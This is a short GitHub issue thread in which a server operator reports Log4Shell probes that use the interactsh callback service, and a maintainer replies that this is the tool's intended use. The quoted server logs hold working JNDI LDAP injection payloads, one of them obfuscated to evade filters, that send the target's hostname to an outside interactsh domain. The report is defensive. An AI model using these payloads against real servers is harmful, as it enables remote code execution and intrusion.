Someone "seems to be" using interactsh.com to poke/exploit Log4Shell: RCE 0-day exploit

[leopucci]

Hey there.
Just warning that someone is using interact.sh to poke my server on the new exploit on log4j.

GET /?x=${jndi:ldap://${hostName}.c6qg2lspu892jo716f40cg4o9naya6um6.interactsh.com/a

IP #194.48.199.78# - GET /?x=${jndi:ldap://${hostName}.c6qg2lspu892jo716f40cg4o9naya6um6.interactsh.com/a} HTTPSTATUS 404 - 8.200 ms - message: Not found 
 UA:${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qg2lspu892jo716f40cg4o9naya6ucy.interactsh.com} ReqId: c48a312f-afd6-4241-967e-950522caa0bf

Technical details on exploit:
https://www.lunasec.io/docs/blog/log4j-zero-day/

[pdelteil]

Hey, It's the intended use of interactsh. Same with burp collaborator.

…

On Tue, 14 Dec 2021, 13:53 Leonardo Pucci, ***@***.***> wrote: Hey there. Just warning that someone is using interact.sh to poke my server on the new exploit on log4j. GET /?x=${jndi:ldap://${hostName}. c6qg2lspu892jo716f40cg4o9naya6um6.interactsh.com/a IP #194.48.199.78# - GET /?x=${jndi:ldap://${hostName}.c6qg2lspu892jo716f40cg4o9naya6um6.interactsh.com/a} HTTPSTATUS 404 - 8.200 ms - message: Not found UA:${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qg2lspu892jo716f40cg4o9naya6ucy.interactsh.com} ReqId: c48a312f-afd6-4241-967e-950522caa0bf Technical details on exploit: https://www.lunasec.io/docs/blog/log4j-zero-day/ — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#124>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AE2OS73I33L7FSU6SUWMPC3UQ6HDLANCNFSM5KBVB64A> . Triage notifications on the go with GitHub Mobile for iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.